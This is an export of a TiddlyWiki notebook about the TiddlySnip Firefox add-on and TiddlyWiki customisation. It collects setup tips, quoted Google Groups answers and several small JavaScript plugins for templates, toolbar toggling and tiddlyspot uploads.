'' Get it here'' @@color:#C06;''&raquo; &raquo;'' @@ http://tiddlysnip.|com/
----
{{borderless{
|[[Open in a new window|http://tiddlysnip.com/]]&nbsp;&raquo;|
----
<html><div align="center"><iframe  src ="http://tiddlysnip.com/" width="100%" align="center" height="600" scrolling="auto" frameborder="0" allowtransparency style="border:none;"></iframe></div></html>}}}
!!!!!<<gradient horiz #fc3 #fff>>&nbsp;[[Setting up TiddlySnip Preferences|TiddlySnipPreferences]]>>

See ''__Screen Shots__'' of ~TiddlySnips Preferences below.

#[[General|GeneralScreenShot]]
#[[Backup|BackupScreenShot]]
#[[TW Options|TWOptionsScreenShot]]
#[[Categories|CategoriesScreenShot]]

|bgcolor:#fcf;If ~TiddlySnip addon is already installed... Copy the default list below. Go to about:config > find __tiddlysnip.categories__ then right click and __modify__ and paste in the string below: This will set the categories in ~TiddlySnip to match those set up in ~SideSnips.|
[img[http://img408.imageshack.us/img408/5150/daquo3gq1.gif]] Copy the default list below and paste into about:config __tiddlysnip.categories__ [img[http://img408.imageshack.us/img408/5150/daquo3gq1.gif]] (See screenshot [[about:config|AboutConfigScreenshot]])
{{{

Default.ITEM.mystuff.ITEM..NEXT.Bookmark.ITEM.bookmark.ITEM..NEXT.BrowserTips.ITEM.browser-ts.ITEM..NEXT.CSS.ITEM.css-ts.ITEM..NEXT.HTML.ITEM.html-ts.ITEM..NEXT.JavaScript.ITEM.javascript-ts.ITEM..NEXT.Macros.ITEM.macros-ts.ITEM..NEXT.Plugins.ITEM.plugin-ts.ITEM..NEXT.TWLinks.ITEM.twlinks-ts.ITEM..NEXT.TSDevelopment.ITEM.tsdev.ITEM..NEXT.TWTips.ITEM.twtips-ts.ITEM..NEXT.Vista.ITEM.vista.ITEM. 

}}}
___
There are two preferred methods of setting up ''View TW options'' in ''~TiddlySnip Preferences''

''1:'' Set ''~TiddlySnip Preferences'' to open in the ''"Current tab or window"'' To do this in ''Firefox'' click on ''Tools'' @@color:#C06;''&raquo;'' @@ ''~TiddlySnip Preferences''  @@color:#C06;''&raquo;'' @@ ''View TW Options'' @@color:#C06;''&raquo;'' @@ __Tick__ ''Open TW after saving'' @@color:#C06;''&raquo;'' @@ then choose ''Current Tab or Window''  (See screenshot [[TW Options|TWOptionsScreenShot]])
*This causes the newly updated ~SideSnips to render in ''front'' of the page you just snipped from. It is just a matter of clicking the ''back button on the browser'' to continue browsing. 
''2:'' In ''View TW options'' __Do not Tick__ ''Open TW after saving'' . This simply updates ~SideSnips in the background.
*If you keep ~SideSnips in the sidebar you can verify it is updated and saved by clicking the ''Display most recent clips now'' button.  Or if the sidebar is empty you can click load on the ~SideSnips ''« Load''  button to see the most recent updates in the sidebar.
I had TiddlySnip working with TiddlySpot in FF2, worked great! I miss
it now that I've upgraded to FF3, just too lazy to go back to FF2!

Here are the settings I had working:

Under General Tab - File Location:
http://TSusername.tiddlyspot.com/index.html

Under Server Options Tab:
Store url: http://TSusername.tiddlyspot.com/store.cgi
File name: index.html
Backup directory: blank
Upload directory: blank
Username: TSusername
Password: TSpassword

Where TS = TiddlySpot. I found that you had to put "index.html" after
the url for the TiddlySpot file even though you don't explicitly enter
that to access the file online. That took a bit to discover the first
time I configured TiddlySnip.

Maybe this will help!
Steve 

Source: [[firefox3 - TiddlySnip : Google Groups|http://groups.google.com/group/TiddlySnip/browse_thread/thread/30f666e6d95c34d2]]
<<tiddlerList tags:TiddlySnip  order:-created  top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
Does anyone know if TiddlySpot eventually will be able to save TWs per
tiddler?? http://tiddlywiki.bidix.info/#UploadTiddlerPlugin
I use UploadTiddlerPlugin by BidiX (iTW3) on my Ppc - But I can only
use it from my own host with BidiX's uploadtiddler.php.
The idea behind iTW3 is that it's a mobileapp and it saves bandwith
just uploading single tiddlers on the fly.

YS Måns Mårtensson 

Source: [[TiddlySpot and UploadTiddlerPlugin?? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/818d4dfca9ca1d48]]
/***
|''Name:''|TemplatePlugin |
|''Description:''|Collection of functions to support rendering of tiddlers through HTML templates |
|''Author:''|JonathanLister |
|''CodeRepository:''|http://svn.tiddlywiki.org/Trunk/contributors/JonathanLister/plugins/TemplatePlugin.js |
|''Version:''|0.0.4 |
|''Date:''|25/3/08 |
|''Comments:''|Please make comments at http://groups.google.co.uk/group/TiddlyWikiDev |
|''License:''|[[BSD License|http://www.opensource.org/licenses/bsd-license.php]] |
|''~CoreVersion:''|2.3|

The templateTiddlers macro finds a set of tiddlers and renders them once each through a template. The template can contain additional
calls to the macro to allow for e.g. looping inside a template (think RSS items). It needs to be able to support recursion, so that sub-templates make sense.

Usage:
{{{
<<templateTiddlers template:RssTemplate filter:"[tag[!excludeLists]]">>
<<templateTiddlers RssTemplate filter:"[tag[!excludeLists]]">> // template qualification is optional
}}}

Parameters can be:
template - the name of the template
filter - a tiddler filter
data - the part of a tiddler to use in the subTemplate

If a parameter does not have a qualifier, it is assumed to be the template name

|''Name:''|templateTagsMacro |
|''Description:''|Renders a tiddler's tags through a template |

Usage:
{{{
<<templateTags template:RssItemCategoryTemplate>>
<<templateTiddlers RssTemplate>> // template qualification is optional
}}}

The templateTags macro renders a tiddler's tags through a template in an analagous way to how templateTiddlers renders a set of tiddlers. Future development might offer support for other data items other than tags, but this is what is needed for RSS, the use-case driving the development.

|''Name:''|PermalinkMacro |
|''Description:''|Creates a permalink to the tiddler |

Usage:
{{{
<<permalink>>
}}}
***/

//{{{
if(!version.extensions.templateTiddlersPlugin) {
version.extensions.templateTiddlersPlugin = {installed:true};

expandTemplate = function(template,tiddlers,wikitext)
{
	var defaultTemplate = "<<view text>>";
	var t = template;
	template = template ? store.getTiddlerText(template,template) : defaultTemplate;
	if(!tiddlers) {
		// no tiddlers provided, so create a temporary tiddler
		tiddlers = [];
		tiddlers.push(new Tiddler("temp"));
	}
	var output = "";
	// decide whether to parse as wikitext or simple template
	var format = wikitext ? null : 'template';
	for(var i=0; i<tiddlers.length; i++) {
		output += wikifyStatic(template,null,tiddlers[i],format).htmlDecode();
		// wikifyStatic returns html; htmlDecode is used so that nesting of templates doesn't cause encoded characters to be wikified
	}
	return output;
};

config.macros.templateTiddlers = {};
config.macros.templateTiddlers.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
	p = paramString.parseParams("anon",null,true,false,false);
	var template = getParam(p,"template",null);
	if(!template)
		template = getParam(p,"anon",null);
	var filter = getParam(p,"filter",null);
	var wikitext = getParam(p,"wikitext",null);
	var tiddlers = [];
	if(filter) {
		tiddlers = store.filterTiddlers(filter);
	} else {
		// no filter provided, so inherit or create temp tiddler
		tiddlers.push(tiddler ? tiddler : new Tiddler("temp"));
	}
	var output = expandTemplate(template,tiddlers,wikitext);
	// NOTE: the line below is contentious - should the .htmlEncode() be used?
	// if you don't use it, it seems that output is not always added in a format suitable for innerHTML
	// this is only an apparent problem when templateTiddlers is nested inside other templates (at two levels deep!)
	// this requires tests writing to iron this out once and for all
	// ALSO: HTMLPreviewTemplate uses the output of expandTemplate directly, but hasn't hit this problem yet (possibly because the nesting only goes one level deep on templates tested so far)
	place.innerHTML += output.htmlEncode();
};

config.macros.templateTags = {};
config.macros.templateTags.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
	p = paramString.parseParams("anon",null,true,false,false);
	var template = getParam(p,"template",null);
	var tiddlers = [];
	if(!template)
		template = getParam(p,"anon",null);
	for(var i=0;i<tiddler.tags.length;i++) {
		var t = new Tiddler(tiddler.title);
		t.tags = [tiddler.tags[i]];
		tiddlers.push(t);
	}
	var output = expandTemplate(template,tiddlers);
	place.innerHTML += output;
};

config.macros.permalink = {};
config.macros.permalink.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
	var t = encodeURIComponent(String.encodeTiddlyLink(tiddler.title));
	createTiddlyText(place,window.location+"#"+t);
};

} //# end of 'install only once'
//}}}
To insert a 'search link' into tiddler content, you can write:

{{{[search[text to find]]}}}

or

{{{[search[text to display|text to find]]}}}

Clicking on the resulting search link will trigger the search functionality, just as if the specified 'text to find' had been entered into the standard search input field usually displayed in the document sidebar.

Source: [[TiddlyTools... Small Tools for Big Ideas™|http://www.tiddlytools.com/#SearchOptionsPluginInfo]]
You might like to look at Chris Dent's work on TiddlyWeb. It's a new
serverside for TiddlyWiki that's currently in alpha that is designed
to do some of the things you're talking about (if I've understood you
correctly).

It uses a simple file-based store of individual tiddlers on the
server, and provides tools to import individual TiddlyWiki files into
"bags" on the server. You can then browse to individidual "recipes"
are that build a custom TW document on the fly by splicing and dicing
those tiddlers. It sounds mindbending until you get your head around
the concepts. Have a look here:

http://www.tiddlywiki.org/wiki/TiddlyWeb

There's a demo site here:

http://peermore.com:8080/recipes/AutoTiddlyWeb/tiddlers.wiki

If you've the stomach for it, installing TiddlyWeb locally so that you
can poke about in it is surprisingly easy:

http://trac.tiddlywiki.org/browser/Trunk/contributors/ChrisDent/exper...

Cheers

Jeremy 

Source: [[Cordon Blue - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/6562d68583b31eb7?hl=en]]
I didn't know this existed. Either way, it made me curious, so I fired
up a WinXP VM and tested it - and actually got TiddlyWeb working there!
The instructions are here:
http://tiddlyweb.peermore.com/wiki/#%5B%5BInstalling%20on%20Windows%5...
(I wrote them up after the fact, so they might be incomplete - will
review that later, and also make some changes regarding tiddlywebconfig.py.)

Let us know how you get on. 

Source: [[TiddlyWeb from an usb stick? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/7d884cd36a099c10/7282a1faa26b8964#7282a1faa26b8964]]
There is currently a demo running at http://peermore.com:8080/ (see,
for example, http://peermore.com:8080/recipes/AutoTiddlyWeb/tiddlers/TiddlyWeb
).

I recently unveiled a fun little hack using TiddlyWeb on the
TiddlyWiki dev list: http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/535... 

Source: [[TiddlyWeb in layman terms? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/cee9f07fb4479e79#]]
Siden sidst +
26 May 2009
CommentPlugin and N.E.W.S
TiddlyWiki GoogleGroup
Gammelt nyt

http://twgroup.tiddlyspot.com/#[[CommentPluginand%20N.E.W.S]]

Source: [[TiddlyWiki - Blog - tw-related stuff |http://twgroup.tiddlyspot.com/#(CommentPluginand%20N.E.W.S)]]
In TW templates, to invoke a macro (such as {{{<<tiddler>>}}}) you use this
syntax:

{{{<div class='...' macro='tiddler EditorMarkupExamples'></div>}}}

where 'class' can be whatever you want, and the contents of
macro='...' are exactly the same as what occurs between the {{{<< and >>}}}
when the macro is invoked from normal tiddler content.

enjoy, 

Source: [[TiddlyWiki enhancement - TiddlyWiki  Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/48a9af3a348cdbf9/a508474d3b8ef6f0#a508474d3b8ef6f0]]
When you use the standard TW core external "PrettyLink" syntax:
   [[text to show|URL]]
it automatically opens the URL in a new tab/window by default.  Thus,
to maintain a list of links to search engines, you can simply create a
new tiddler in your sidebar-based TW document and enter the
PrettyLinks there. 

Source: [[TiddlyWiki in the SideBar with Web Search Tiddlers - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/86edcec4b181a510/fe4db99832bcfbb2?lnk=gst&q=prettylink#fe4db99832bcfbb2]]
Since TeamTasks is merely a TiddlyWiki vertical, it doesn't provide
multi-user capability on its own.
For concurrent editing, I'd strongly advise using a server-side:
     http://tiddlywiki.org/wiki/Server-Side_Implementations

> HOw can I classify the notes from different users for the same day, so
> that they do not overlap.

You could use the NewTiddler macro in combination with evaluated
parameters to attach the username to newly-created tiddlers:
     <<newTiddler title:{{
         config.macros.timeline.dateFormat +
             " (" + config.options.txtUserName + ")"
     }}>> 

Source: [[Tiddlywiki for notes sharing - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/baba9134c7133c62]]
{{liststyleimagenone unboldLink {
<<timeline modified>>
}}}
{{liststyleimagenone unboldLink {
<<timeline better:true onlyTag:TiddlySnip sortBy:created>>
}}}
http://tinytiddly.lewcid.org/

(core moved to external js file, to reduce load times for repeat website visitors)

File size has been reduced by compressing the TiddlyWiki core JavaScript. It works just as fast, but loads faster!
{{{
<script>
   var tids=store.getMatchingTiddlers("To Do OR Done");
   var out="";
   var itemfmt="|<<tiddler CheckboxToggleTag with: Done [[To Do]] %0>>
%0";
   var columns=3;
   for (var t=0; t<tids.length; t++) {
      out+=itemfmt.format(["[["+tids[t].title+"]]"]);
      if ((t+1)%columns==0 || t==tids.length-1) out+="|\n";
   }
   return out;
</script>
}}}



Source: [[To Do List - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/7e54214d5818cda]]
Checkboxes within tiddlers tagged with todo represent tasks.
When all checkboxes within a tiddler are checked, the respective tiddler's todo tag is changed to done.

Source: [[My TiddlyWiki - a reusable non-linear personal web notebook|http://30738bypass..fnd.lewcid.org/tmp/ToDoTogglePlugin.html#Tasks%20ToDoTogglePlugin]]
The {{{{{...}}}}} macro parameters syntax lets you evaluate small snippets
of javascript which are then used as parameter values when the macro
is rendered.

Try this:
{{{
<<newTiddler tag:{{(new Date()).formatString("YYYY-0MM-0DD")}}>> 
}}}
Source: [[Today's date as tag during tiddler creation - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/15906ed6a5404967/e4284e89ce4ee569?lnk=gst&q=new+tiddler+today%27s+date+as+tag#e4284e89ce4ee569]]
/***

|Name|ToggleToolyBarsMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/|
|Version|1.0|
|Requires|~TW2.x|
!Description:

{{c06{Modified by Morris Gray to toggle the tiddler Toolbars and Title hidden/visible.}}}

Provides a button for toggling visibility of the ToolyBars. You can choose whether the ToolyBars should initially be hidden or displayed.

!Demo
<<toggleToolyBars "Toggle Sidebar">>

!Usage:
{{{<<toggleToolyBars>>}}} <<toggleToolyBars>>
additional options:
{{{<<toggleToolyBars label tooltip show/hide>>}}} where:
label = custom label for the button,
tooltip = custom tooltip for the button,
show/hide = use one or the other, determines whether the sidebar is shown at first or not.
(default is to show the sidebar)

You can add it to your tiddler toolbar, your MainMenu, or where you like really.
If you are using a horizontal MainMenu and want the button to be right aligned, put the following in your StyleSheet:
{{{ .HideToolyBarsButton {float:right;} }}}

!History
*23-07-06: version 1.0: completely rewritten, now works with custom stylesheets too, and easier to customize start behaviour. 
*20-07-06: version 0.11
*27-04-06: version 0.1: working.

!Code
***/
//{{{
config.macros.toggleToolyBars={};

config.macros.toggleToolyBars.settings={
         styleHide :  ".title, .toolbar { display: none;}\n"+"#contentWrapper #displayArea { margin-right: 0em !important;}}\n"+"",
         styleShow : " ",
         arrow1: "Edit    ",
         arrow2: "Editing"
};

config.macros.toggleToolyBars.handler=function (place,macroName,params,wikifier,paramString,tiddler)
{
          var tooltip= params[1]||'toggle hidden toolbars and tiddler title';
          var mode = (params[2] && params[2]=="hide")? "hide":"show";
          var arrow = (mode == "hide")? this.settings.arrow1:this.settings.arrow2;
          var label= (params[0]&&params[0]!='.')?params[0]+" "+arrow:arrow;
          var theBtn = createTiddlyButton(place,label,tooltip,this.onToggleToolyBars,"button HideToolyBarsButton");
          if (mode == "hide")
             { 
             (document.getElementById("sidebar")).setAttribute("toggle","hide");
              setStylesheet(this.settings.styleHide,"ToggleToolyBarsStyles");
             }
};

config.macros.toggleToolyBars.onToggleToolyBars = function(){
          var sidebar = document.getElementById("sidebar");
          var settings = config.macros.toggleToolyBars.settings;
          if (sidebar.getAttribute("toggle")=='hide')
             {
              setStylesheet(settings.styleShow,"ToggleToolyBarsStyles");
              sidebar.setAttribute("toggle","show");
              this.firstChild.data= (this.firstChild.data).replace(settings.arrow1,settings.arrow2);
              }
          else
              {    
               setStylesheet(settings.styleHide,"ToggleToolyBarsStyles");
               sidebar.setAttribute("toggle","hide");
               this.firstChild.data= (this.firstChild.data).replace(settings.arrow2,settings.arrow1);
              }

     return false;
}

setStylesheet(".HideToolyBarsButton .button {font-weight:bold; padding: 0 5px;}\n","ToggleToolyBarsButtonStyles");

//}}}
/***

|Name|ToggleslantedmenuMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/|
|Version|1.0|
|Requires|~TW2.x|
!Description:

{{c06{Modified by Morris Gray to toggle the Menu/Search etc. hidden/visible}}}

Provides a button for toggling visibility of the slantedmenu. You can choose whether the slantedmenu should initially be hidden or displayed.

!Demo
<<toggleslantedmenu "Toggle Sidebar">>

!Usage:
{{{<<toggleslantedmenu>>}}} <<toggleslantedmenu>>
additional options:
{{{<<toggleslantedmenu label tooltip show/hide>>}}} where:
label = custom label for the button,
tooltip = custom tooltip for the button,
show/hide = use one or the other, determines whether the sidebar is shown at first or not.
(default is to show the sidebar)

You can add it to your tiddler toolbar, your MainMenu, or where you like really.
If you are using a horizontal MainMenu and want the button to be right aligned, put the following in your StyleSheet:
{{{ .HideslantedmenuButton {float:right;} }}}

!History
*23-07-06: version 1.0: completely rewritten, now works with custom stylesheets too, and easier to customize start behaviour. 
*20-07-06: version 0.11
*27-04-06: version 0.1: working.

!Code
***/
//{{{
config.macros.toggleslantedmenu={};

config.macros.toggleslantedmenu.settings={
         styleHide :  ".title, .toolbar, #slantedmenu { display: none;}\n"+"#contentWrapper #displayArea { margin-right: 0em !important;}}\n"+"",
         styleShow : " ",
         arrow1: "menu",
         arrow2: "menu"
};

config.macros.toggleslantedmenu.handler=function (place,macroName,params,wikifier,paramString,tiddler)
{
          var tooltip= params[1]||'toggle menu hidden/visible';
          var mode = (params[2] && params[2]=="hide")? "hide":"show";
          var arrow = (mode == "hide")? this.settings.arrow1:this.settings.arrow2;
          var label= (params[0]&&params[0]!='.')?params[0]+" "+arrow:arrow;
          var theBtn = createTiddlyButton(place,label,tooltip,this.onToggleslantedmenu,"button HideslantedmenuButton");
          if (mode == "hide")
             { 
             (document.getElementById("sidebar")).setAttribute("toggle","hide");
              setStylesheet(this.settings.styleHide,"ToggleslantedmenuStyles");
             }
};

config.macros.toggleslantedmenu.onToggleslantedmenu = function(){
          var sidebar = document.getElementById("sidebar");
          var settings = config.macros.toggleslantedmenu.settings;
          if (sidebar.getAttribute("toggle")=='hide')
             {
              setStylesheet(settings.styleShow,"ToggleslantedmenuStyles");
              sidebar.setAttribute("toggle","show");
              this.firstChild.data= (this.firstChild.data).replace(settings.arrow1,settings.arrow2);
              }
          else
              {    
               setStylesheet(settings.styleHide,"ToggleslantedmenuStyles");
               sidebar.setAttribute("toggle","hide");
               this.firstChild.data= (this.firstChild.data).replace(settings.arrow2,settings.arrow1);
              }

     return false;
}

setStylesheet(".HideslantedmenuButton .button {font-weight:bold; padding: 0 5px;}\n","ToggleslantedmenuButtonStyles");

//}}}
/***

|Name|ToggleTiddlersBarMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/|
|Version|1.0|
|Requires|~TW2.x|
!Description:

{{c06{Modified by Morris Gray to toggle the TiddlersBar}}}

Provides a button for toggling visibility of the Toolbars. You can choose whether the Toolbars should initially be hidden or displayed.

!Demo
<<toggleTiddlersBar "Toggle Sidebar">>

!Usage:
{{{<<toggleTiddlersBar>>}}} <<toggleTiddlersBar>>
additional options:
{{{<<toggleTiddlersBar label tooltip show/hide>>}}} where:
label = custom label for the button,
tooltip = custom tooltip for the button,
show/hide = use one or the other, determines whether the sidebar is shown at first or not.
(default is to show the sidebar)

You can add it to your tiddler toolbar, your MainMenu, or where you like really.
If you are using a horizontal MainMenu and want the button to be right aligned, put the following in your StyleSheet:
{{{ .HideTiddlersBarButton {float:right;} }}}

!History
*23-07-06: version 1.0: completely rewritten, now works with custom stylesheets too, and easier to customize start behaviour. 
*20-07-06: version 0.11
*27-04-06: version 0.1: working.

!Code
***/
//{{{
config.macros.toggleTiddlersBar={};

config.macros.toggleTiddlersBar.settings={
         styleHide :  ".title, #tiddlersBar { display: none;}\n"+"#contentWrapper #displayArea { margin-right: 0em !important;}}\n"+"",
         styleShow : " ",
         arrow1: "Tabs   ",
         arrow2: "NoTabs"
};

config.macros.toggleTiddlersBar.handler=function (place,macroName,params,wikifier,paramString,tiddler)
{
          var tooltip= params[1]||'toggle tabs hidden/visible';
          var mode = (params[2] && params[2]=="hide")? "hide":"show";
          var arrow = (mode == "hide")? this.settings.arrow1:this.settings.arrow2;
          var label= (params[0]&&params[0]!='.')?params[0]+" "+arrow:arrow;
          var theBtn = createTiddlyButton(place,label,tooltip,this.onToggleTiddlersBar,"button HideTiddlersBarButton");
          if (mode == "hide")
             { 
             (document.getElementById("sidebar")).setAttribute("toggle","hide");
              setStylesheet(this.settings.styleHide,"ToggleTiddlersBarStyles");
             }
};

config.macros.toggleTiddlersBar.onToggleTiddlersBar = function(){
          var sidebar = document.getElementById("sidebar");
          var settings = config.macros.toggleTiddlersBar.settings;
          if (sidebar.getAttribute("toggle")=='hide')
             {
              setStylesheet(settings.styleShow,"ToggleTiddlersBarStyles");
              sidebar.setAttribute("toggle","show");
              this.firstChild.data= (this.firstChild.data).replace(settings.arrow1,settings.arrow2);
              }
          else
              {    
               setStylesheet(settings.styleHide,"ToggleTiddlersBarStyles");
               sidebar.setAttribute("toggle","hide");
               this.firstChild.data= (this.firstChild.data).replace(settings.arrow2,settings.arrow1);
              }

     return false;
}

setStylesheet(".HideTiddlersBarButton .button {font-weight:bold; padding: 0 5px;}\n","ToggleTiddlersBarButtonStyles");

//}}}
<<tabs " " [[Save/Options ]] "" [[ToolTabsIntro]] [[Options ]] "" [[OptionsPanel]]  [[AdvancedOptions ]] "" [[AdvancedOptions]]  [[ConfigOptions ]] "" [[ConfigOptions]]  [[TspotControls ]] "" [[TspotControls]]  [[SideBarTabs ]] "" [[SideBarTabs]] [[TWRelatedLinks]] ""  [[TWRelatedLinks]] >>
!!!<<gradient horiz #fc3 #fff>>&nbsp;[[ToolTabsIntro]]^^<<tiddler CloseThisOpen with: ToolTabs  '« back'>>|<<toolbar editTiddler>>» ^^>>
----
<<saveAs>>
<<saveChanges>>
<<doBackup>>
<<closeAll>>
<<permaview>>
|bgcolor:#adf;<<tiddler TspotSidebar>>|
<html><td><input class="btn" type="button" value="Refresh Window" onClick="location.reload()" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'"/></td></html>
----
 @@color:#C06;''&raquo; &raquo;'' @@ <<tiddler EditATiddler>>

{{{
The tooltip is created from the title attribute, e.g.:
     <div "">
So you could do something like this:
     createTiddlyElement(MyParent, "div", "MyID", "MyClass",
         "MyContent", { title: "MyTooltip" });
}}}
> In a javascript function I am creating a div. I need to make it so
> when the user hovers their mouse pointer over this div it comes up
> with a tooltip


HTH.

-- F.

Source: [[Tooltips on plain text? - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/2d3d23b095131b87]]
Tracking TiddlyWiki with Google Analytics

Source: [[Hawksworx » Blog Archive » Tracking TiddlyWiki with Google Analytics|http://www.hawksworx.com/journal/2007/07/05/tracking-tiddlywiki-with-google-analytics]]
Tracking tiddler popularity
Options
There are currently too many topics in this group that display first. To make this topic appear first, remove this option from another topic.
There was an error processing your request. Please try again.
Standard view   View as tree
Proportional text   Fixed text
[Click the envelope to receive email updates] 	Email updates to meCancel my email updates
	


Source: [[Tracking tiddler popularity - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/58509d7210c96000/e4de6864dde838c9?hl=en&lnk=gst&q=Tiddler+Popularity#e4de6864dde838c9]]
My goal was to use Slider / nested Slider with my task organizer.
Currently I can not get TaskOrganizerPlugin to work with any
transclusion (sorry if poor verbiage) 

I believe I've fixed the problem. Please check the latest version and
let me know if something got broken in the process.

http://www.math.ist.utl.pt/~psoares/addons.html#TaskOrganizerPlugin


Source: [[Transclusion + TaskOrganizerPlugin - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b357f1698225a7c4]]
[[Trojan.Vundo.B - Symantec.com|http://securityresponse.symantec.com/security_response/writeup.jsp?docid=2005-042810-2611-99&tabid=3]]
You can't use double-quotes inside the onclick="..." handler because
the quotes are already used to surround the entire handler
definition.  Use single quotes instead:

   var img_size='20%';

... and, to add the "prompt for size":

   var img_size=prompt('Enter image size','20%');
   if (!img_size) return; /* cancelled by user */ 

Source: [[Trying to modify Quick_edit plugin (image) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/19c38e96e97dbbe2]]
tiddlyspot password:
<<option pasUploadPassword>>
/***
Contains the stuff you need to use Tiddlyspot
Note you must also have UploadPlugin installed
***/
//{{{

// edit this if you are migrating sites or retrofitting an existing TW
config.tiddlyspotSiteId = 'sidesnips';

// make it so you can by default see edit controls via http
config.options.chkHttpReadOnly = false;
window.readOnly = false; // make sure of it (for tw 2.2)
window.showBackstage = true; // show backstage too

// disable autosave in d3
if (window.location.protocol != "file:")
	config.options.chkGTDLazyAutoSave = false;

// tweak shadow tiddlers to add upload button, password entry box etc
with (config.shadowTiddlers) {
	SiteUrl = 'http://'+config.tiddlyspotSiteId+'.tiddlyspot.com';
	SideBarOptions = SideBarOptions.replace(/(<<saveChanges>>)/,"$1<<tiddler TspotSidebar>>");
	OptionsPanel = OptionsPanel.replace(/^/,"<<tiddler TspotOptions>>");
	DefaultTiddlers = DefaultTiddlers.replace(/^/,"[[WelcomeToTiddlyspot]] ");
	MainMenu = MainMenu.replace(/^/,"[[WelcomeToTiddlyspot]] ");
}

// create some shadow tiddler content
merge(config.shadowTiddlers,{

'WelcomeToTiddlyspot':[
 "This document is a ~TiddlyWiki from tiddlyspot.com.  A ~TiddlyWiki is an electronic notebook that is great for managing todo lists, personal information, and all sorts of things.",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //What now?// &nbsp;&nbsp;@@ Before you can save any changes, you need to enter your password in the form below.  Then configure privacy and other site settings at your [[control panel|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/controlpanel]] (your control panel username is //" + config.tiddlyspotSiteId + "//).",
 "<<tiddler TspotControls>>",
 "See also GettingStarted.",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //Working online// &nbsp;&nbsp;@@ You can edit this ~TiddlyWiki right now, and save your changes using the \"save to web\" button in the column on the right.",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //Working offline// &nbsp;&nbsp;@@ A fully functioning copy of this ~TiddlyWiki can be saved onto your hard drive or USB stick.  You can make changes and save them locally without being connected to the Internet.  When you're ready to sync up again, just click \"upload\" and your ~TiddlyWiki will be saved back to tiddlyspot.com.",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //Help!// &nbsp;&nbsp;@@ Find out more about ~TiddlyWiki at [[TiddlyWiki.com|http://tiddlywiki.com]].  Also visit [[TiddlyWiki Guides|http://tiddlywikiguides.org]] for documentation on learning and using ~TiddlyWiki. New users are especially welcome on the [[TiddlyWiki mailing list|http://groups.google.com/group/TiddlyWiki]], which is an excellent place to ask questions and get help.  If you have a tiddlyspot related problem email [[tiddlyspot support|mailto:support@tiddlyspot.com]].",
 "",
 "@@font-weight:bold;font-size:1.3em;color:#444; //Enjoy :)// &nbsp;&nbsp;@@ We hope you like using your tiddlyspot.com site.  Please email [[feedback@tiddlyspot.com|mailto:feedback@tiddlyspot.com]] with any comments or suggestions."
].join("\n"),

'TspotControls':[
 "| tiddlyspot password:|<<option pasUploadPassword>>|",
 "| site management:|<<upload http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/store.cgi index.html . .  " + config.tiddlyspotSiteId + ">>//(requires tiddlyspot password)//<br>[[control panel|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/controlpanel]], [[download (go offline)|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/download]]|",
 "| links:|[[tiddlyspot.com|http://tiddlyspot.com/]], [[FAQs|http://faq.tiddlyspot.com/]], [[announcements|http://announce.tiddlyspot.com/]], [[blog|http://tiddlyspot.com/blog/]], email [[support|mailto:support@tiddlyspot.com]] & [[feedback|mailto:feedback@tiddlyspot.com]], [[donate|http://tiddlyspot.com/?page=donate]]|"
].join("\n"),

'TspotSidebar':[
 "<<upload http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/store.cgi index.html . .  " + config.tiddlyspotSiteId + ">><html><a href='http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/download' class='button'>download</a></html>"
].join("\n"),

'TspotOptions':[
 "tiddlyspot password:",
 "<<option pasUploadPassword>>",
 ""
].join("\n")

});
//}}}
<<upload http://sidesnips.tiddlyspot.com/store.cgi index.html . .  sidesnips>>@@color:#c06;''&bull;''@@<html><a href='http://sidesnips.tiddlyspot.com/download' class='button'>download</a></html>
[[Tutorial Index - Vista Forums|http://www.vistax64.com/tutorials/139940-tutorial-index.html]]
/***
''TwHelpSearch'' for TiddlyWiki 2.0.x to 2.2.x
^^author: Morris S. Gray
source: http://twhelp.tiddlyspot.com/#TwHelpSearchPlugin
documentation: http://twhelp.tiddlyspot.com/#TWHelpSearchDoc
license: [[Creative Commons Attribution-ShareAlike 2.5   License|http://creativecommons.org/licenses/by-sa/2.5/]]^^

|>|>|>|<<search>> |
|>|>| look for in |>|>|>|
| <<option chkSearchTitles>> | <<option chkSearchText>> | <<option chkSearchTags>> | <<option chkHoldSearches>> |
| titles |  text  | tags | hold |

''A Plugin Tweak for:'' SearchOptionsPlugin
!!!!!Description
<<<
